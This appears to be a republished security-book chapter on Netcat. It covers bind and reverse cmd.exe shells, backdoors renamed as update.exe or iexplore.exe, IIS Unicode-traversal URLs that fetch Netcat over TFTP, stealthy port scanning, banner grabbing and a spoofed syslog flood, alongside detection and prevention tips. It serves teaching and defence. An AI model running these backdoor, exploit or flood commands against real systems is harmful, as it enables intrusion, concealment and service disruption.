Everything you need to know about Netcat

Now that you have an idea of the things Netcat can do, take a look at some real-life practical examples using this utility.

Netcat�s 101 Uses
People have claimed to find hundreds of ways to use Netcat in daily tasks. Some of these tasks are similar, only varying slightly. We tried to come up with a few that, like Netcat itself, are general and cover the largest possible scope. Here are the uses we deem most important.

Obtaining Remote Access to a Shell
Wouldn�t you like to be able to get to your DOS prompt at home from anywhere in the world? By running the command nc.exe �l �p 4455 �e cmd.exe from a DOS prompt on an NT or Windows 200x box, anyone telnetting to port 4455 on that box would encounter a DOS shell without even having to log in.

[root@originix /root]# telnet 192.168.1.101 4455
Trying 192.168.1.101…
Connected to 192.168.1.101.
Escape character is ‘^]’.
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\>
Connection closed by foreign host.
[root@originix /root]#

Pretty neat, eh? It�s also pretty frightening. With hardly any effort, you�ve now secured a command prompt on the system. Of course, on Windows NT and 200x systems, you�ll have the same permissions and privileges as the user running Netcat.

Backdooring Windows 95 and 98 systems in this manner (using command.com instead of cmd.exe) will give you run of the entire box. This shows how dangerous Netcat can be in the wrong hands.

Let�s build on this command a bit. Keep in mind that Netcat will run inside the DOS window it�s started in by default. This means that the controlling command prompt window needs to stay open while Netcat is running. Using the �d option to detach from the command prompt should allow Netcat to keep running even after the command prompt is closed.

C:\>nc.exe �l �p 4455 �d �e cmd.exe

This does a better job of hiding a Netcat backdoor.

However, if someone telnets to port 4455 and makes the connection, as soon as that client terminates the connection, Netcat by default will think it�s done and will stop listening. You can use the �L option instead of �l to tell it to listen harder (keep listening and restart with the same command line after its first conversation is complete).

C:\>nc.exe �p 4455 �d �L �e cmd.exe

This can let a hacker return to the system until the backdoor is discovered by a system administrator who sees nc.exe running in the Task Manager or a network administrator that discovers the suspicious inbound traffic to 4455. The hacker may think of this and rename nc.exe to something else or move it to a common port to thwart the administrator.

C:\>move nc.exe c:\Windows\System32\Drivers\update.exe
C:\>Windows\System32\Drivers\update.exe �p 4455 �d �L �e cmd.exe

A system administrator might pass right over something as innocuous as update.exe�that could be anything. The hacker can also hide the command line as well. Another feature of Netcat is that if you run it with no command-line options, it will prompt you for those command-line options on the first line of standard input:

C:\>Windows\System32\Drivers\update.exe
Cmd line: -l �p 4455 �d �L �e cmd.exe
C:\>

Now, if a system administrator runs a trusted netstat �a �n command at the DOS prompt, she might notice that something is running on a rather odd port, telnet to that port, and discover the trick. However, Windows uses several random ports for varying reasons and netstat output can be time consuming to parse, especially on systems with a lot of activity.

A hacker might try a different approach. If he�s infiltrated a Citrix server, for example, accessed by several users who are surfing the Web, you�d expect to see a lot of Domain Name System (DNS) lookups and Web connections. Running netstat �a �n would reveal a load of outgoing TCP port 80 connections. Instead of having an instance of Netcat listening on the Windows box and waiting for connections, Netcat can pipe the input and output of the cmd.exe program to another Netcat instance listening on a remote box on port 80. On his end, the hacker would run:

[root@originix /root]# nc �l �p 80

From the Windows box, the hacker could cleverly �hide� Netcat again and issue these commands:

C:\>mkdir C:\Windows\System32\Drivers\q
C:\>move nc.exe C:\Windows\System32\Drivers\q\iexplore.exe
C:\>cd Windows\System32\Drivers\q
C:\WINDOWS\System32\DRIVERS\q>iexplore.exe
Cmd line: -d -e cmd.exe originix 80
C:\WINDOWS\System32\DRIVERS\q>

Now the listening Netcat should pick up the command shell from the Windows machine. This can do a better job of hiding a backdoor from a system administrator. At first glance, the connection will just look like Internet Explorer making a typical HTTP connection. Its only disadvantage for the hacker is that after terminating the shell, there�s no way of restarting it on the Windows side.

A system administrator can discover infiltration by a rogue Netcat in several ways:
� Use the Windows file search utility to look for files containing text like �listen mode� or �inbound connects.� Any executables that pop up could be Netcat.

� Check Task Manager for any rogue cmd.exe files. Unless the hacker has renamed cmd.exe as well, you can catch the hacker while he�s using the remote shell because a cmd.exe will be running that you can�t account for.

� Use the netstat command (Chapter 6) or fport command (Chapter 20) to see what ports are currently being used and what applications are using them. Be careful with netstat, however. Netstat can easily be replaced by a “Trojan” version of the program that is specially crafted by a hacker to hide particular activity. Also, netstat will sometimes not report a listening TCP socket until something has connected to it.

� Network administrators can check their IDS for any suspicious or unusual incoming traffic on strange ports.

Now you�ve seen two different ways to get a remote shell on a Windows box. Obviously, some other factors that might affect success with either method include intermediate firewalls, port filters, or proxy servers that actually filter on HTTP headers.

This particular use of Netcat was the driving force behind some popular exploits of Internet Information Server (IIS) 4.0�s Microsoft Data Access Components (MDAC) and Unicode vulnerabilities. Several variations exist, but in all cases the exploits take advantage of these vulnerabilities, which allow anyone to execute commands on the box as the IIS user by issuing specially crafted URLs. These exploits could use a program like Trivial File Transfer Protocol (TFTP) if it�s installed, pull down nc.exe from a remote system running a TFTP server, and run one of the backdoor commands. Here�s a URL that attempts to use TFTP to download Netcat from a remote location using an exploit of the Unicode vulnerability:

http://10.10.0.1/scripts/../%c1%pc/../winnt/system32/cmd.exe?/c+tftp%20-

i%20originix%20GET%20nc.exe%20update.exe

If successful, this command would effectively put Netcat on 10.10.0.1 in the Inetpub\ Scripts directory as update.exe. The hacker could then start Netcat using another URL:

http://10.10.0.1/scripts/../%c1%pc/../inetpub/scripts/update.exe?-d%20-

L%20-p%20443%20-e%20cmd.exe

Telnetting to the system on port 443 would provide a command prompt. This is an effective and simple attack, and it can even be scripted and automated. However, this attack does leave behind its footprints. For one, all the URLs that were used will be stored in the IIS logs. Searching your IIS logs for tftp will reveal whether anyone has been attempting this kind of attack. Also, most current IDS versions will look for URLs formatted in this manner (that is, URLs containing cmd.exe or the special Unicode characters).

You can do a couple of things to prevent this type of attack:
� Make sure IIS has incorporated the latest Microsoft security updates.
� Block outgoing connections from your web server at the firewall. In most cases, your web server box shouldn�t need to initiate connections out to the rest of the world. Even if your IIS is vulnerable, the TFTP will fail because it won�t be able to connect back to the attacker�s TFTP server.

Stealthy Port Scanning (Human-like)
Because Netcat can talk to a range of ports, a rather obvious use for the tool would be as a port scanner. Your first instinct might be to have Netcat connect to a whole slew of ports on the target host:

[root@originix nc]# ./nc target 20-80

But this won�t work. Remember that Netcat is not specifically a port scanner. In this situation, Netcat would start at port 80 and attempt TCP connections until something answered. As soon as something answered on a port, Netcat would wait for standard input before continuing. This is not what we are looking for.

The �z option is the answer. This option will tell Netcat to send minimal data to get a response from an open port. When using �z mode, you don�t get the option of feeding any input to Netcat (after all, you�re telling it to go into “Zero I/O mode”) and you won�t see any output from Netcat either. Because the �v option always gives you details about what connections Netcat is making, you can use it to see the results of your port scan. Without it�well�you won�t see anything�as you�ll notice here:

[root@myhost nc]# ./nc -z 192.168.1.100 20-80
[root@myhost nc]# ./nc -v -z 192.168.1.100 20-80
originix [192.168.1.100] 80 (www) open
originix [192.168.1.100] 23 (telnet) open
originix [192.168.1.100] 22 (ssh) open
originix [192.168.1.100] 21 (ftp) open
[root@myhost nc]#

After you use the �v option, you can see that some of the usual suspects are running between TCP port 20 and 80. How does this look in originix�s syslog?

Feb 12 03:50:23 originix sshd[21690]: Did not receive ident string from
192.168.1.125.
Feb 12 03:50:23 originix telnetd[21689]: ttloop: read: Broken pipe
Feb 12 03:50:23 originix ftpd[21691]: FTP session closed

Notice how all these events happened at the exact same time and with incremental process IDs (21689 through 21691). Imagine if you had scanned a wider range of ports. You�d end up with a rather large footprint. And some services, such as sshd, will even rat out the scanner�s IP address.

Even if you scan ports that have nothing running on them (and thus don�t end up in the target host�s syslog), most networks have IDSs that will immediately flag this kind of behavior and bring it to the administrator�s attention. Some firewall applications will automatically block an IP address if they receive too many connections from it within a short period of time.
Netcat provides ways to make scans a bit stealthier. You can use the �i option and set up a probing interval. It will take a lot longer to get information, but the scan has a better chance of slipping under the radar. Using the �r option to randomize the order in which Netcat scans those ports will also help the scan look less like a port scan:

./nc -v -z -r -i 42 192.168.1.100 20-80

This tells Netcat to choose ports randomly between 20 and 80 on 192.168.1.100 and try to connect to them once every 42 seconds. This should get past any automated defenses, but the evidence of the scan will still be in the target logs; it will just be more spread out.

You can do the same kind of stealthy port scanning using UDP instead. Simply add a �u to the command to look for UDP instead of TCP ports.

UDP scanning has a problem. Netcat depends on receiving an Internet Control Message Protocol (ICMP) error to determine whether or not a UDP port is open or closed. If ICMP is being blocked by a firewall or filter, Netcat may erroneously report closed UDP ports as open.

Netcat isn�t the most sophisticated tool to use for port scanning. Because it can be used for many general tasks rather than performing one task extremely well, you might be better off using a port scanner that was written specifically for that purpose.

If you get errors in regard to an address already in use when attempting a port scan using Netcat, you might need to lock Netcat into a particular source IP and source port (using the �s and �p options). Choose a port you know you can use (only the super user can use ports below 1024) or that isn�t already bound to something else.

Identify Yourself: Services Spilling Their Guts
After using Netcat or a dedicated port-scanning tool such as nmap to identify what ports are open on a system, you might like to be able to get more information about those ports. You can usually accomplish this by connecting to a port; the service will immediately spill its version number, build, and perhaps even the underlying operating system. So you should be able to use Netcat to scan a certain range of ports and report back on those services.

Keep in mind, though, that to automate Netcat, you have to provide input on the command line so it doesn�t block waiting for standard input from the user. If you simply run nc 192.168.1.100 20-80, you won�t discover much, because it will block on the first thing to which it connects and will then wait for you to say something. So you need to figure out something to say to all of these services that might convince them to tell you more about themselves. As it turns out, telling services to QUIT really confuses them, and in the process they�ll spill the beans.

Let�s run it against ports 21 (FTP), 22 (SSH), and 80 (HTTP) and see what the servers tell us!

[root@originix nc]# echo QUIT | ./nc -v 192.168.1.100 21 22 80
originix [192.168.1.100] 21 (ftp) open
220 originix FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999)
ready.
221 Goodbye.
originix [192.168.1.100] 22 (ssh) open
SSH-2.0-OpenSSH_2.3.0p1
Protocol mismatch.
originix [192.168.1.100] 80 (www) open
< !DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN" >
< HTML >< HEAD >
< TITLE >501 Method Not Implemented< /TITLE >
< /HEAD >< BODY >
< H1 >Method Not Implemented< /H1 >
QUIT to /index.html not supported.< P >
Invalid method in request QUIT< P >
< HR >
< ADDRESS >Apache/1.3.14 Server at 127.0.0.1 Port 80< /ADDRESS >
< /BODY >< /HTML >
[root@originix nc]#

Remember that when you�re automating connections to multiple ports, use at least one �v option so that you can see the separation between one connection and the next. Also, if you�re automating connections to multiple ports and one of those is a telnet server, you need to use �t if you want to get past the binary nastiness (that is, the telnet option negotiations). It�s usually a good idea to skip over port 23 and access it separately.

The output isn�t pretty, but we now know the versions of the three services. A hacker can use this to look for an out-of-date version of a service that might be vulnerable to an exploit (http://www.securityfocus.com/bid is an excellent place to find information about vulnerable service versions). A hacker who finds a particularly interesting port might be able to obtain even more information by focusing on that service and trying to speak its language.

Let�s focus on the Apache Web server. QUIT isn�t a command that HTTP understands. Let�s try saying something it might comprehend:

[root@originix nc]# ./nc -v 192.168.1.100 80
originix [192.168.1.100] 80 (www) open
GET / HTTP

HTTP/1.1 200 OK
Date: Tue, 12 Feb 2002 09:43:07 GMT
Server: Apache/1.3.14 (Unix) (Red-Hat/Linux)
Last-Modified: Sat, 05 Aug 2000 04:39:51 GMT
ETag: “3a107-24-398b9a97″
Accept-Ranges: bytes
Content-Length: 36
Connection: close
Content-Type: text/html

I don’t think you meant to go here.

[root@originix nc]#

Oh, how nice! We spoke a little basic HTTP (issuing a GET / HTTP command and then pressing ENTER twice) and Apache responded. It let us see the root index.html page with all the HTTP headers intact and none of the application layer interpretation that a web browser would do. And the Server header tells us not only that it is running Apache on a Unix box, but that it�s running on a RedHat Linux box!

System administrators can go as far as hacking source code to change these types of banners to give out false information. It�s a great way to make the hacker wonder if he can actually trust the information he�s receiving.

Communicating with UDP Services
We�ve mentioned that Netcat is sometimes thought of as nothing more than a glorified telnet client. While it�s true that many things that Netcat does (such as speaking HTTP directly to a web server) can be done using telnet, telnet has a lot of limitations that Netcat doesn�t. First, telnet can�t transfer binary data well. Some of that data can get interpreted by telnet as telnet options. Therefore, telnet won�t give you true transport layer raw data. Second, telnet closes the connection as soon as its input reaches EOF. Netcat will remain open until the network side is closed, which is useful for using scripts to initiate connections that expect large amounts of received data when sending a single line of input. However, probably the best feature Netcat has over telnet is that Netcat can communicate over UDP.

Chances are you�re running a syslog daemon on your UNIX system�right? If your syslog is configured to accept messages from other hosts on your network, you�ll see something on UDP port 514 when you issue a netstat �a �n command. (If you don�t, refer to syslogd�s man page on how to start syslog in network mode.)

One way to determine whether syslog is accepting UDP packets is to try the following and then see if anything shows up in the log:

[root@originix nc]# echo “< 0 >I can speak syslog” | ./nc -u 192.168.1.100 514

Message from syslogd@originix at Tue Feb 12 06:07:48 2002 …
originix I can speak syslog
punt!
[root@originix nc]#

The < 0 > refers to the highest syslog level, kern.emerg, ensuring that this message should get written somewhere on the system (see your /etc/syslogd.conf file to know exactly where). And if you check the kernel log, you should see something like this:

Feb 12 06:00:22 originix kernel: Symbols match kernel version 2.2.12.
Feb 12 06:00:22 originix kernel: Loaded 18 symbols from 5 modules.
Feb 12 06:06:39 originix I can speak syslog

If you start up a UDP Netcat session to a port, send it some input, and Netcat immediately exits after you press ENTER, chances are that nothing is running on that UDP port.

This is a good way to determine whether remote UDP servers are running. And if someone is running with an unrestricted syslog, he�s leaving himself open to a very simple attack that can fill up disk space, eat bandwidth, and hog up CPU time�and even crash the syslog.

[root@originix nc]# yes “<20>blahblahblah” | nc �u �s 10.0.0.1 targethost 514

The yes command outputs a string (provided on the command line) over and over until the process is killed. This will flood the syslog daemon on targethost with “blahblahblah” messages and could even crash the daemon so that it no longer accepts syslog messages. Without syslog, any further login attempts will not be recorded by the system. The attacker could even try using a fake IP address (-s 10.0.0.1) because responses from the syslog daemon are of no importance.

Related posts:

1. Understand Windows Server 2008 R2’s downgrade rights
2. Remote Desktop for Dummies
3. HTC Desire ROM for Nexus One with HTC Sense
4. Step-by-Step Guide to Network XP to Vista Printer
5. 10 Steps to Speed Up Your Torrent Downloads

Filed Under: Archive Categories